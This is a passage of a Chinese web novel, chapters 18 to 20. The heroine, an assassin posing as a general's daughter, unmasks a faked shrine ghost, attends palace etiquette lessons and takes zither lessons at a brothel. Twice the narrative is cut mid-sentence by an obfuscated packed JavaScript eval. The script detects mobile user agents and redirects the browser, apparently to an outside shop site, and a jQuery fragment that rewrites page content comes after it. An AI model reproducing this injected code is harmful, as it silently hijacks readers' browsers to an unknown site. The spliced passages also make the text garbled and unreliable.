汀竹方才倒是没留意这处缺口，移步往左侧走去，低头往里仔细瞧了瞧。 月光从云隙漏下，隐约照见院内荒草没踝，枯败的落叶积了厚厚一层。再往祠堂里望，供台上的牌位倒摆得齐整，香炉中还插着半截未燃尽的香烛，余烟似有若无地飘着。 院外荒凉萧索，墙角蛛网密布，可祠堂内却透着几分洁净。里外对比鲜明得很，显然是有人常来打扫。 “小姐，奴婢还听人说，这祠堂这边……经常闹鬼呢。”锁秋声音发颤，往汀竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659334|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边挪了挪。 “闹鬼？”汀竹提着灯笼转身，烛火映得她眼底亮了亮。 锁秋愈发怕了，攥着汀竹的衣袖才觉安心，便小声道：“是呢，听那酉时末来送饭的人说，总听见里头有年轻女子的哭声。” “还说……是先前的通房来找老夫人寻仇，老夫人如今疯癫，多半也是被鬼魂缠的。 年轻女子？鬼魂纠缠？ 她汀竹才不会信这世间有鬼神之说，如若有也只是身为刺客时的她。 “倒是有点意思。”汀竹玩味勾了勾嘴角，心中不禁轻哼一声。 见她这般说，锁秋不由问道：“小姐，你不信这些话？” 汀竹淡淡笑着，抚了抚锁秋的手，安慰着，“你信他人之言，倒不如信我。” “这世间从无鬼，只人心底会藏鬼。” 随后，她抬眼扫过两侧高墙，墙面上光溜溜的，并无其他入口。指腹轻轻摸了摸墙砖，凉意透过指尖传来，她将手中灯笼递向锁秋，“我进去看上一看，你且在外面守着。” “小姐，你要进去？”锁秋慌忙接过灯笼，仰头望着丈高的墙，“这么高，怎么进啊？” 汀竹颔首，又问，“会猫叫不？” 锁秋愣愣点头，“会、会的。” “那便好，若有人过来，你就学两声猫叫，再找地方躲好，别被发现了。”话音落，她已抬手将锁秋手中的两盏灯笼的烛火都吹灭了，夜色瞬间将二人裹得更紧。 锁秋望着眼前的漆黑，声音里满是怯意，“小姐，我、我有点怕……” 汀竹从腰间锦袋里摸出枚玉佩，递了过去：“拿着这个。” 锁秋借着微弱的月光接过，只见玉佩通体莹白，在暗处透着温润的光，触手冰凉细腻。“小姐，这是……” “辟邪用的。”汀竹语气平淡。 锁秋一听，攥着玉佩的手紧了紧，心中瞬间踏实了不少。 汀竹瞧着她这般神色，暗自好笑。这丫头倒真好骗。 这玉佩不过是她先前顺手从某个人身上顺手扯的，本打算寻个机会拿去当铺换些银两，如今倒先派上了这用场。 旋即，汀竹走至一堵高墙前，距墙约莫一丈远近，便朝高墙提步疾奔。借那冲势，不过两步就已蹬墙而起，轻捷如燕般飞入了祠堂之内。 锁秋望着眼前这幕，只惊得怔在原地。那高墙瞧着足有三丈来高，她竟不过奔得数步，便翻跃而入了？这份身手，当真是了得！ 随后，锁秋忙提裙小跑至方才汀竹翻入的墙下，隔著这道青砖壁，她先以指节轻叩墙面，又压低了声气唤道：“小姐，小姐，可听得见？” 她将耳朵紧紧贴在冰凉的砖面上，连一丝细微的声响也不肯漏过。 “听得见。”墙内传来汀竹轻叩的回应，随即是她温稳的声音，“我这边一切安好，你且放心，我这便往深处去了。” “你再外也千万当心，莫要教人察觉了。” 锁秋回道：“好。” 18. 鬼影 汀竹先四顾周遭确认无人，方敛声屏气，轻挪步子往祠堂正厅行去。略微打量了厅内陈设，无非是寻常案几、楹联匾额，与墙外窥得的模样别无二致，并无特别之处。 自正厅青石阶而下，朝右走去有一条碎石小径通往后院，尽头立着一道八角门。 她蹑足走近，侧身贴在门前往里一探，先映入眼帘的是一片苍劲松柏，枝叶挂着水珠，影影绰绰。再循着柏荫悄然深入，眼前随机便豁然开朗。 不远处的青砖瓦房前，便有一方洁净宽敞的庭院。借着溶溶月色，隐约可见院中垦出一块菜畦，一颗颗青菜翠色欲滴，沾着夜露，倒显得几分生机。 想必宋老夫人就在这屋子内。 …… 锁秋寻了处能瞥见祠堂门前的角落藏定守着，双目死死凝望着前方动静，心头惧意翻涌，将汀竹所赠的那枚玉佩攥得死紧。 晚风乍起，院中古树枝丫哗哗作响。忽然隐约传来几声女子啜泣声，渐次拔高，凄厉刺耳，划破了深夜的寂静，听得人毛骨悚然。 锁秋身子紧贴墙角，屏息循着声源探寻，掌心玉佩被焐得发烫，心里暗自默念：假的，定是假的，小姐说过世间无鬼，怎会有…… 纵是怕得浑身发颤，她也仍强撑着观望。倏然间，一道鲜红身影自房檐飘掠而过，行至半途忽又顿住，哭声戛然而止。那身影头颅猛地朝锁秋藏身之处歪来，脖颈似断未断，姿态诡异，似在探查周遭。 锁秋死死捂住唇瓣，生怕溢出半点声响，一双眼睛睁得老大的望着房顶上那抹红影，恰与那头颅撞个对眼。 月色之下，那“鬼影”眼眶漆黑空洞，不见眼白，两行血泪蜿蜒而下，面色苍白无血色，嘴角咧开的笑意夸张至极，几乎要扯到耳根。 锁秋惊得忘了呼吸，喉头一阵发紧，不受控制的溢出一大声变调的“喵！”叫，一口气没提上来，眼前一黑，直挺挺晕了过去。 房上“鬼影”凝眸细瞧，只见一只野猫从杂物堆后窜出，许是打翻了堆着的枯枝败叶，发出一阵轻响。它从长廊跃入院中，与鬼影对视片刻，发出两声“喵喵”，便窜至锁秋身旁的墙角。 下一瞬，那红影便消散在月色里，杳无踪影。 汀竹正欲上前，凑到屋窗下往里窥探一番，便听见一声凄厉的猫叫，心头咯噔一下，暗道不妙。也顾不上这举动会不会惊动屋内之人，转身快步朝来时路折返。 屋内似乎听见外面有动静传来，只作没听见，始终保持着寂静。 汀竹迅速就从祠堂内飞了出来，四下搜寻一番，却不见锁秋踪迹，顿时慌了神，低唤道：“锁秋？锁秋你在何处？” 正当焦灼之际，墙角传来一阵窸窸窣窣的响动，汀竹就随着声音脚步轻轻的靠近，只见一只野猫正趴在锁秋的身侧，扒拉着她的袖口。 她上前轻叱一声，将野猫赶走，随即蹲下身，探了探锁秋的鼻息，气息虽有些微弱，却尚均匀，只是晕厥了过去。 汀竹松了口气，连忙伸出手指，在她人中处掐了几下。 锁秋悠悠转醒，睁眼看见周遭的暗影，正要惊呼出声，便被汀竹眼疾手快捂住了嘴。 待看清来人是汀竹，她紧绷的神经骤然松弛，当即泪如雨下，起身紧紧抱住汀竹的腰，身子仍不住地发抖。 汀竹拍了拍她的后背，附耳低道：“先回暖居阁。” 锁秋含泪点头，哽咽的应了一声“嗯”，声音仍带着未散的惊悸。 二人返回暖居阁。 进屋后，汀竹点亮烛火，橘黄色的光晕驱散了屋内的幽暗。 锁秋惊魂未定，坐在椅上，双手紧紧抓着扶手，将方才所见“鬼影”细细向汀竹描述了一遍，声音仍带着颤音，“小姐，方才奴婢真的看见了鬼！那模样……实在是太吓人了！” 汀竹按住她发抖的肩头，沉声道：“莫慌，既是有形有影，便绝非无端作祟之物。” “你且仔细想想，那红衣是什么样式的？是飘着移动，还是如常人般行走？” 锁秋攥着衣襟，泪痕未干的脸埋在臂弯里，哽咽着努力回想，“像是被鲜血浸染过一样，红的有些发黑，料子看着有些杂乱粗糙，却没瞧见什么花样……” “她像是飘着的，在房顶时竟没半点声响，那脸白得像涂了铅粉，毫无血色，血泪顺着下巴滴，还有那个笑……”话到此处，她又打了个寒噤。 又抬头望着汀竹，眼眶红润，眼里满是困惑与恐惧，“小姐，会不会真是那个人来找老夫人寻仇来了？” 汀竹听这话眸色一沉，虽然如锁秋所说倒像是鬼魅，但她却不信。 如若真是鬼魂寻仇索命，以老夫人的年岁与胆量，怕是早就出事了，断不会如此平静。 她起身走至窗边，轻轻推开了半扇窗棂，晚风携着草木的清香涌入，朝着祠堂方向望去，缓声道：“你且歇着，我再去那边看看。” “如若害怕，便将烛火燃着。若是有人问起，你就说我在给夫人绣平安荷包，不便打扰。”说罢，便将窗棂再次合上。 锁秋见她去意已定，虽满心担忧，却也知晓自己帮不上什么忙，只得点头道：“小姐，万事小心！” 汀竹颔首，就去取了衣柜最低下的青布斗篷披上，篷料子厚实，能挡些夜寒，也能掩去身形。 接着她便推开后窗，身影如兔子般跳出了窗外，踏月而行。 祠堂周遭静得可怕，只剩偶尔的风吹杂草划破寂静。汀竹足尖点地，悄无声息的落在了锁秋先前藏身的墙角处，往锁秋所说的房顶处望了过去。 房顶的黛瓦在月光下泛着冷光，与祠堂的高墙相差不大，二者之间相距约有两三丈远，中间隔着一个巨大的水缸。 她凝神细瞧片刻，随即几步飞至屋顶处，蹲着身子，借着月色仔细查看屋脊上的痕迹。 除了有几枚野猫的爪印，依稀能看见一些紧促且极浅的鞋印。印在瓦片缝隙之间，若不仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659335|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查看，极易忽略。看那鞋底的图案，到像在哪见过，汀竹心中一动，只先在心中暗暗记下。 果然是有人在装神弄鬼。 她心中笃定，便又顺着脚印往屋脊的另一侧走去，直至墙根便没了踪迹。汀竹就小心翼翼往前走去，行至祠堂外西侧的长廊处，在往那走便是前院处，来往侍从巡逻较多，不便继而寻找。 “看来还要寻个恰当时机，方能将此人揪出来。”汀竹心中琢磨着，不再多待，便转身折返而归。 到了暖居阁时，锁秋仍心有余悸，浑身紧绷。 见汀竹归来，她连忙起身相迎，语声带着颤意，“小姐，怎么样了？” 汀竹未及答话，径直行至书案前，取笔研墨，凭着记忆将方才所见的鞋底纹路细细画下。画毕，她将纸笺递与锁秋，“你瞧瞧，这纹样可曾在哪见过？” 锁秋双手接过，凝神细看半晌，脸色微变，“小姐，这……这正是奴婢鞋底的花样啊！” 汀竹闻言颔首，示意她脱鞋。锁秋忙褪下一只绣鞋，见汀竹欲亲手接过，连忙先一步托住，“小姐金贵，怎好劳烦你亲自动手？奴婢自个儿来便是。” 说罢，她将绣鞋轻按在净纸上，印出的纹路与汀竹所画的一模一样，分毫不差。锁秋愈发困惑，蹙眉问道：“这寻常花样，难道藏着什么玄机？” 汀竹手指拂过纸笺上的纹路，缓声说，“这便是你方才所看见的那个鬼影的脚印。” “什……什么？”锁秋惊得后退半步，满脸难以置信，“如此说来，竟是有人假扮的？” 又作补充，“那人还是府中的丫鬟！” 汀竹摇了摇头，否认道，“不，看那脚印大小似乎是男子的。” “这……”锁秋更为疑惑了，“可是那身形声音，分明是个女子啊！” 汀竹放下了手中的纸笺，喉间稍作调整，忽而发出一道低沉醇厚的男子嗓音，“眼见未必为实，耳听亦未必为虚。” 锁秋惊得膛目结舌，“小姐，你竟然能发出男子的声音！” “从前曾随一位杂技艺人口传心授，学过些口技傍身。”汀竹浅释一句，语声复归原先的清柔。 这学口技还是她出门做任务时，偶然在一家酒楼戏台后偷偷习得。 不过她自习摸索不精，只能说得片刻，嗓子便发疼的得厉害。 锁秋恍然：“那……小姐如今的声音，莫非也是……” “那倒不是。”汀竹莞尔一笑，“当初入府时，大夫诊治确言我伤了喉咙，需要静心调养。” “再者，你们与我相处了一段时间，早已将这调养后的嗓音，认作了宋韫的本音。” 锁秋这才恍然大悟，连连点头，“原来如此，难怪奴婢从未觉得异样。” 深夜里厚云吞了月色，一时间夜风大起，细雨织成帘顺着瓦当垂落，“滴答”“滴答”敲在青石板上，碎成满阶清响，雨滴声逐渐变大，似乎要将夜里的痕迹掩埋。 19. 入宫 府外马车已备好。 原本宋婉被关禁闭不得擅自离院落，辛得要去崇文轩修习之命，便被暂时释放，但一回府仍需闭门静思，没有命令不得出院门半步。 锁秋一早便将宋夫人所需的药膳蜜枣备妥，还特意嘱咐了梓盼梓溪两者需要同服，才能发挥药膳的药效。随后便与汀竹一起同上了马车。 “小姐，奴婢听闻宫中珍馐无数，皆是世间难得的美味呢。”锁秋语气满是新奇向往。 汀竹闭目倚坐，眉宇间带着几分倦意，淡淡应道：“日后有机缘，便给你带些。” “多谢小姐！”锁秋见她神色倦怠，不由得诧异问道，“小姐可是昨夜睡的不好？” 想来是这段时日过于闲散，养得一身慵懒习性，加之寒冬将至，稍微早起便愈发犯困。 汀竹轻点螓首，低低应了一声“嗯”。 “那小姐你再眯片刻，到了地方奴婢唤你。”锁秋说着，便轻手轻脚地放下车帘。 随即汀竹合眼假寐，车内一时静谧无声。 望京街上车水马龙，繁华喧嚣。街边商贩的吆喝声此起彼伏，酒肉的醇香与糕点的清甜交织在一起，阵阵飘香，引人垂涎。 约莫半个时辰，马车就抵达了东华门。锁秋便轻声将汀竹唤醒，俩人款款下了马车。 昨日夜里下过一场大雨，将宫城的飞檐冲刷的莹润发亮，东华门静静卧在宫墙东段，青灰色的城台经雨水浸透得颜色如黛，稳稳托住了檐角翘起那气势恢宏的城楼。 “宋韫！你别以为入了崇文轩，就能博得太子殿下的青睐！”宋婉恶狠狠瞪着她，又凑近半步，压低声音咬牙切齿道：“殿下岂会喜欢你这毒蝎心肠的女子！” 汀竹语气清淡，眼底却藏着几分挑衅，“我与太子殿下的婚约，乃陛下亲赐。纵使殿下心中无我，我也是名正言顺的未来太子妃。” “妹妹倒是不必为我费心了，不如多操心操心自己的处境吧。” 宋婉被怼得顿时语塞，指着汀竹气得浑身发抖，“你、你……” 见她气急败坏的模样，汀竹又缓缓补充着，“此处是皇宫之外，妹妹言行举止还需谨慎，莫要丢了将军府的颜面。” 宋婉更是气得脸煞白，胸口此起彼伏。 宫门口的侍从上前告知，奴婢不得随行入宫。锁秋与云袖二人只得颔首应是，便返回了马车。 汀竹跟随着宫门口等候的侍从往崇文轩中去，宋婉气愤甩了甩衣袖，一肚子怨气地的紧随其后。 在崇文轩修习的除了宗室贵女，便是像汀竹这类的高官之女，身份皆是尊贵之人。 抵达崇文轩外，二人先随侍从前往见一位老嬷嬷。 院内已聚集了不少贵女，其中既有先前偶遇的太傅之女、礼部侍郎千金，亦有几位在赵老夫人寿宴上有过一面之缘的小姐，只是一时记不起名讳。 “老奴乃皇后娘娘身边的王嬷嬷，奉皇后之命，教导各位小姐宫中礼仪规矩。” 王嬷嬷神色端庄，语气威严，“各位小姐皆是京中显赫之家的贵女，出身尊贵，自幼娇养，未曾受过委屈。但如今入了这宫中崇文轩，便需恪守宫中规矩，不可造次。” “切忌在宫中随意游走，以免冲撞贵人，更不可心存妄念，将心思用在不该用的地方，冒犯各位殿下。”王嬷嬷立于长廊之下，一一细说宫中禁忌与礼仪，字字句句，不容置喙。 众贵女纷纷敛衽颔首，齐声应道：“谨遵嬷嬷教诲。” 王嬷嬷目光扫过众人，见皆敛声屏气，才缓缓道：“往后每日辰时初刻到崇文轩，酉时末刻退学，不得迟到早退。轩内有经史子集、琴棋书画各类课业，诸位需潜心修习，不可懈怠。” 说罢，便命身旁的小宫女呈上名册，逐一点名。轮到汀竹时，王嬷嬷多瞧了两眼，眼神平淡无波，只淡淡道：“宋小姐，太子妃之位尊贵，言行更需表率，莫要辜负陛下与皇后的期许。” 汀竹敛衽一礼，道：“臣女谨记嬷嬷教诲。” 宋婉站在一旁，见王嬷嬷对汀竹另眼相看，心中愈发嫉恨，嘴角撇出一抹讥讽，却不敢当众发作。 点名毕，王嬷嬷便引着众人往崇文轩内殿走去。穿过长廊，绕过一座栽满翠竹的庭院，便见一座雅致的阁楼，檐下悬着“崇文轩”三字匾额。 殿内早已摆好案几，笔墨纸砚一应俱全，每位贵女皆有专属席位。王嬷嬷指定了位次，汀竹恰好与太傅之女齐湘玉相邻，而宋婉则被安排在末排，离得甚远。 宋婉见状，心中更是不快，却也只能按捺住性子，悻悻然落座。 辰时三刻，课业正式开始。 先是讲授《女诫》，授课的是宫中资深的女先生，言语温婉却条理清晰，字字珠玑。众贵女皆正襟危坐，凝神细听，偶尔提笔记录要点。 汀竹本就被堂内熏香催得倦意沉沉，此刻听女先生捧着《女戒》，慢悠悠念着“女以弱为美”“妇当从一而终”的古训。 只觉那些字句枯燥乏味，枯燥得让人昏昏欲睡，眼皮重得似坠了铅，便双手垂放在身前案几下生生掐着自己手腕出的皮肉，想博得一丝清醒。 她暗自摇头，心中自有丘壑。 女子何须以弱自缚？刚柔并济方显风骨，凭一身才学与韧劲，未必不能在世间谋得一席之地，活出自己的气象。这般将女子困于“从一而终”的桎梏，实在荒谬。 念到此处，便想起宋夫人独守空闺、郁郁而终的模样就清晰浮现。汀竹微紧手指，眼底掠过一丝清明。 她要的，从来不是单向的屈从，而是彼此珍重、一生一世一双人的笃定。 堂内诵声依旧，她却敛了心绪，垂眸颔首，长睫掩去眸中波澜。 先生端坐于上首，逐句讲解“妇德、妇言、妇容、妇功”，话音刚落，便点了汀竹起身释义。 好在她先前有在宋韫的书房中翻过女戒，且宋韫的所看过的书每本都有自己的见解，她便记了一二。 随后汀竹从容起身，语调平稳：“班昭著《女诫》，意在明女子立身之本，然‘卑弱’非无骨，‘顺从’非盲从，以德性自持、以礼数待人，方是真谛。” 一番话不偏不倚，既合礼教又不失主见，先生颔首赞许，殿内几位贵女也悄悄投来认可的目光。 相邻之座的齐湘玉眼底闪过一丝意味不明的笑意。而坐在末排的宋婉，手指紧攥着绣帕，暗自咬牙，心中骂道：宋韫这贱人，偏生有这般能言善辩的本事！ 午后的礼仪实操最是磨人，王嬷嬷亲自示范跪拜、奉茶、行走之礼，要求步伐稳、身姿正，稍有差错便要反复练习。 根据座位顺序，齐湘玉先展示，她幼习得规矩，动作行云流水，王嬷嬷很是赞赏的点了点头，众贵女也投来钦佩目光。 接着便是到了汀竹，她未习过规矩，但方才瞧了王嬷嬷以及齐湘玉的示范，倒也记了个八九分。 凭着记忆，一套礼仪做下来虽不及齐湘玉标准，动作稍缓，却也端庄得体。王嬷嬷看在眼里未置一词，只在她奉茶时，悄悄提点一句，“手腕再松半分，更显温婉。” 恰好这一细微的举动，被身侧的齐湘玉瞧了个正着。她眸含笑意，语气带着几分说不清的意味，“妹妹这礼仪，倒是做的无可挑剔。” 汀竹神色淡然，只淡淡回着话，“姐姐过誉了，比起姐姐的周全，妹妹还相差甚远呢。” 几个贵女展示后，就轮到了宋婉，她刻意想要表现，却因心急屡屡出错，跪拜时裙摆勾住案几，险些摔倒，引得殿内一阵低低的窃笑。 她又羞又恼，眼角瞥见汀竹神色淡然，竟似全然未看她，怒火更盛，趁转身之际，故意抬脚绊了身旁宫女一下。宫女手中的茶盏脱手而出，滚烫的茶水径直泼向汀竹的衣袖。 “哎呀！”宫女惊呼出声，吓得脸色惨白。 汀竹反应极快，侧身避开了大半，只袖口沾了些许水渍。 她垂眸看了眼湿痕，抬眼时恰好对上宋婉眼中一闪而过的得意。不等宋婉开口辩解，汀竹已敛衽向王嬷嬷行礼，“嬷嬷，许是宫女姐姐手滑，无碍的。” 她语气平和，既没追责也没抱怨，反倒让宋婉的算计落了空，憋得脸色通红。 王嬷嬷何等通透，早已将方才一幕看在眼里，沉声道：“宫廷之中，最忌毛躁懈怠。宫女掌嘴十下，宋婉小姐罚抄《女诫》三遍，明日呈来。” 宋婉不敢反驳，只得硬生生将这口怨气咽入腹中，眼底淬着冷光，狠狠剜了汀竹一眼，恨不能将她生吞活剥。 今日课业完毕，众贵女敛衽辞行，三三两两散去。汀竹正欲 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二人并肩走在宫道上，暮色渐沉，宫墙的影子被拉得老长。忽闻前方传来侍从的通传声，只见一队仪仗缓缓走来，明黄色的轿辇格外注目，轿内所坐之人，正是太子萧琰。 汀竹与李芷瑶连忙止步行礼，垂首侍立一旁。 轿辇行至近前，却缓缓停下，太子的声音从轿内传出，温和清朗，“宋小姐，衣袖为何湿了？” 暮色中的宫道静得能听见檐角铜铃轻响，太子的声音温和落下，让汀竹微一抬眸。 她敛衽躬身，语气恭谨，“回太子殿下，不过是方才礼仪实操时，宫女姐姐手滑溅到些许茶水，并无大碍。” 轿内沉默片刻，随即传来衣料摩挲声，太子竟掀帘走了出来。明黄色常服衬得他身姿挺拔，眉眼间带着几分书卷气，目光落在她湿了大半的袖口上，眉头微蹙：“深秋寒凉，湿衣贴身易染风寒。” 说罢，便转头吩咐身旁内侍：“去取件干净的素色宫袍来，送宋小姐暂用。” “殿下不必费心，”汀竹连忙推辞，“臣女出宫便有仆从接应，些许湿痕不打紧的。” 一旁的李芷瑶也附和道：“是啊太子殿下，宋姐姐素来康健，想来不会有事。” 太子却摆了摆手，语气不容置喙，“宫廷之中，规矩虽重，却也不必苛待自己。拿着吧，莫要让本宫为难。” 内侍很快取来一件月白色宫袍，质地柔软，绣着粉梅。汀竹无法再推，只得接过行礼，“谢太子殿下体恤。” 宋婉远远跟在后面，将这一幕看得清清楚楚，指甲几乎要嵌进掌心。她原以为汀竹定会借机在太子面前哭诉，却没料到她这般淡然，反倒引得太子主动关切，心中妒火更烈，却只能眼睁睁看着二人交谈。 太子目光掠过汀竹，又看向李芷瑶，温声道：“二位小姐今日初入崇文轩，课业想必辛苦。往后若有不懂之处，亦可遣人来东宫问询。” 二人齐声应道：“谢太子殿下关怀。” 待太子仪仗远去，李芷瑶才凑近汀竹，眼底带着几分打趣，“太子殿下对姐姐倒是格外关照呢。” 汀竹轻抚过手中的宫袍，神色平静，“殿下乃储君，体恤臣女不过是合乎礼数，妹妹不必多想。” 她心中清楚，太子的青睐从来不是安稳之途，尤其在这波谲云诡的宫廷中，过分瞩目反倒易招祸端。 二人行至东华门，锁秋早已等候在马车旁，李芷瑶便告别了汀竹，先行乘自家马车离去。 锁秋见汀竹换了件陌生的宫袍，连忙问着，“小姐，这是……” “宫中偶遇太子殿下，蒙殿下体恤所赠。”汀竹淡淡解释，随即吩咐，“先将这湿衣收好，回府再处理。” 锁秋点头应下，目光瞥见不远处脸色铁青的宋婉，不由得压低声音，“小姐，二小姐方才一直跟在后面，脸色难看极了。” “不必理会。”汀竹登上马车，闭目靠在软垫上。今日崇文轩一遭，宋婉的敌意已然摆上台面，往后的日子，怕是难得清净。 马车缓缓驶离东华门，窗外的繁华喧嚣渐渐远去。 汀竹指腹触摸着宫袍上的梅花绣纹，忽想起太子方才的眼神，温和中似有探究，让她莫名觉得，这场看似寻常的相遇，或许并非偶然。 20. 心意 “小姐，今夜是去醉心楼学琴，还是去祠堂捉鬼？”锁秋轻声询问汀竹的晚间安排，心底倒盼着是前者。 汀竹舒展了下筋骨，只觉一回暖居阁便浑身自在。宫中那些繁文缛节、枯燥课业，简直比刀光剑影还要折磨人。这场困局，到底要到何时才能了结？ 她慢步至床边，径直歪躺下去，喟叹一声，“还是榻上最是舒坦。” “锁秋，昨夜吩咐你备的面具与夜行衣，可妥当了？” 锁秋面露难色，“小姐，说来蹊跷，今日二小姐身边的云袖，竟一路跟着奴婢，奴婢压根没机会去置办。” “更要紧的是，奴婢回阁时，恰巧撞见杏儿借着打扫主屋的由头，似在小姐房中翻找什么。” 汀竹闻言，猛地从榻上弹坐起来：“杏儿？” 锁秋颔首，“正是她。” 汀竹脑中浮现出院内那个沉默寡言、素来老实本分的丫鬟身影。 这般模样，多半是被人收买了。 “她可有翻出什么？”汀竹起身，在桌旁椅上落座。 锁秋摇头，道：“并未。” 本还想着今夜碰碰运气，瞧瞧能否撞破那装神弄鬼之人，看来只得再等几日了。 “锁秋，祠堂可是常年闭锁？”汀竹忽问道。 锁秋回道：“回小姐，祠堂并非是长年闭锁，每当四时祭来临都会前往祠堂祭祀，遇上除夕、元旦、清明、中元这些时日，才会行正式祭祀之礼。” 汀竹便问：“四时祭是何时？” 她无亲无故，不知先祖是谁，更谈不上为其祭祀，唯有清明、中元二节，会祭拜传授她医术的师傅。 锁秋回，“四时祭分为春祠、夏礿、秋尝、冬烝四祭，分别在农历正月、四月、七月、十月的十五日举行。” 汀竹细思一番，如今离冬烝已不足数日。 她将锁秋喊到身前来，贴近她的耳边，低语道：“到冬烝祭祀时，你这样……” 锁秋听得仔细，一一记在了心中，点头回道：“嗯小姐，奴婢明白。” 诸事安排妥当，汀竹便说：“既然如此，今夜便去醉心楼学琴去。” 夜黑皎月被云遮住了大半，只有依稀的月光勉强照亮了夜路。 在出府之前，汀竹为了防止有人贸然进入房中，便在门口点了一炉迷香，药性极强，一闻就倒。 接着二人就换了身简单的着装，戴上了先前在望京街小摊铺上买的面具。 这次汀竹先助锁秋从墙上爬出去，自己再紧随其后，轻而易举便翻出了墙去。 出了府，俩人从容的前往了醉心楼。 初入醉心楼时走的正门，后来那里的老鸨考虑到她二人常来，便告知了醉心楼的后巷有一道偏门，于是二人便从偏门而入。 “小姐，昨日怎的未来？可是被什么事耽搁了？”那老鸨笑意满满，语气谄媚。 汀竹神色淡然道：“家中事不便多言。” “哦，是老身失言了。”老鸨陪笑致歉，又说：“小姐请随老身来，仙儿姑娘早已等候多时。” 不多时，老鸨就把二人带到了桃仙儿的房间，自行退下，掩门而去。 “仙儿见过小姐。”桃仙儿敛礼一行，声线娇柔。 汀竹浅浅一笑，“倒不必如此客气。这般说来，仙儿姑娘还是我的先生呢。” “仙儿蒲柳之姿，身份卑微，能为小姐略尽绵薄已是万幸，怎敢当‘先生’二字？”桃仙儿谦虚说道。 手中还为她添了一杯热茶。 汀竹执起案上那杯热茶，微微吹了几下，便小酌一口，含笑道：“姑娘琴艺高绝，能引弦成韵、动人心魄，于我而言便是良师。既蒙姑娘不吝赐教，‘先生’二字当之无愧。 桃仙儿闻言，脸颊晕开一抹浅红，忙垂眸道：“小姐过誉了。见这几日小姐技艺越发纯熟，天赋颇高，仙儿今日便教姑娘一曲《竹吟》，此曲清雅，最为贴合小姐的心性。” “竹吟”这曲名她倒是喜欢。 汀竹颔首应允，起身在琴案旁的锦凳上坐定。桃仙儿移步至她身侧，素手轻搭在琴弦上，指尖起落间，清越的琴音便缓缓流淌而出。 “此曲需沉心静气，指尖力道要匀，不可过刚，亦不可过柔。”桃仙儿一边弹奏，一边轻声指点，“小姐请看，按弦时指节当微屈，拨弦需借腕力，如此音色方能圆润。” 汀竹凝神细看，默记指法，待桃仙儿弹罢，便依样尝试。初时琴弦错乱，音色滞涩，偶有走音。她却不急躁，一遍遍调整指力与节奏，眉梢间透着几分执着。 锁秋立在一旁，目光警惕地留意着门外动静，耳中却也不免被琴音牵动，偶尔抬眼望向汀竹，见她专注模样，便悄悄松了口气。 约莫一个时辰过去，汀竹指尖渐熟，虽不及桃仙儿弹奏得那般流畅悠远，却也能将《竹吟》的曲谱完整弹出，音色虽显生涩，却已有了几分清雅之韵。 桃仙儿赞道：“小姐悟性极高，短短时辰便能有这般造诣，实属难得。” 汀竹停手，指尖微酸，却含笑道：“多亏仙儿姑娘指点得法。时辰不早了，我也该回去了。” 桃仙儿点头，“明日此时，仙儿仍在此等候。” 二人起身整理衣饰，刚至门口，便闻门外传来老鸨压低的声音：“仙儿姑娘，楼下有位贵客指名要听你抚琴，你看……” 桃仙儿眉头微蹙，转向汀竹道：“小姐稍候，仙儿去去就回。” 汀竹却抬手按住她，眸色微沉，“不必。” “既是贵客，仙儿姑娘自当前去应酬。我二人从偏门离去便是，不扰姑娘正事。” 说罢，她对锁秋递了个眼色，二人轻手轻脚推开了侧门，便走至了醉心楼后巷的暗影之中。 夜色更深，屋檐下灯笼摇曳，将两人的身影拉得细长。 待二人离去，桃仙儿的房来又来了位身份显贵的男子。 来人正是端王萧域。 “公子，今夜想听哪般曲目？”仙儿欠身行了一礼，语带柔婉。 萧域阔步走至茶几边，瞥见茶杯之中半杯冷茶，眉峰微紧，眸中略过一抹不悦，“原来是有客来过。” “难怪迟迟不来迎我。” 仙儿忙上前将那杯冷茶倾倒，从茶柜中取来了一套男子专属的紫砂壶茶具，又新烹了一壶男子常喝的雨前龙井，注满一杯递上。 “公子恕罪，接客乃是奴家本分。”桃仙儿浅浅笑道。 萧域神色愈发不悦，酒气混着龙涎香扑面而来，他骤然拽住她的手腕。 拉扯间茶杯脱落，滚烫的茶水洒在了桃仙儿白皙柔嫩的手背上，也浸湿了萧域的胸前的锦缎。 “公子！”桃仙儿脸色骤变，忍着手背上的疼痛，连忙挣脱掉他的手，忙取绣帕擦试着他的衣襟。 她深知端王尊贵，若是惹恼了对方，非但小命难保，还会搅乱宸王殿下的全盘谋划。 “仙儿，你当真不知我的心意？”萧域再度将她揽入怀中。 俩人胸膛相贴，彼此的呼吸交织起伏，桃仙儿小脸霎时绯红，望着他那泛红的眼底，她心尖猛地一颤。 她怎会不知晓他的情意？她本就是为博取得他的青睐而来，以便打探消息，谁知相处日久，她竟对他动了真心。可两人立场不同，身份且是云泥之别，这份情愫本就无疾而终。 不如装作懵懂，况且她断不会为了儿女情长而背叛宸王殿下。若非殿下搭救，她早就死在了流氓之手。 “公子，奴家身份卑贱，不值公子为如此垂怜。” 箫域手掌扣着她的细腰，力道忽的收紧，酒气混着他身上那龙涎香，将她整个人裹住。 “配不配，自由我说了算。”他嗓音低沉，带着几分酒后的暗哑，眼底翻涌着压抑的情愫，“字那日在画舫见你弹奏《广陵散》，我便知，这世间再无第二人能入我眼。” 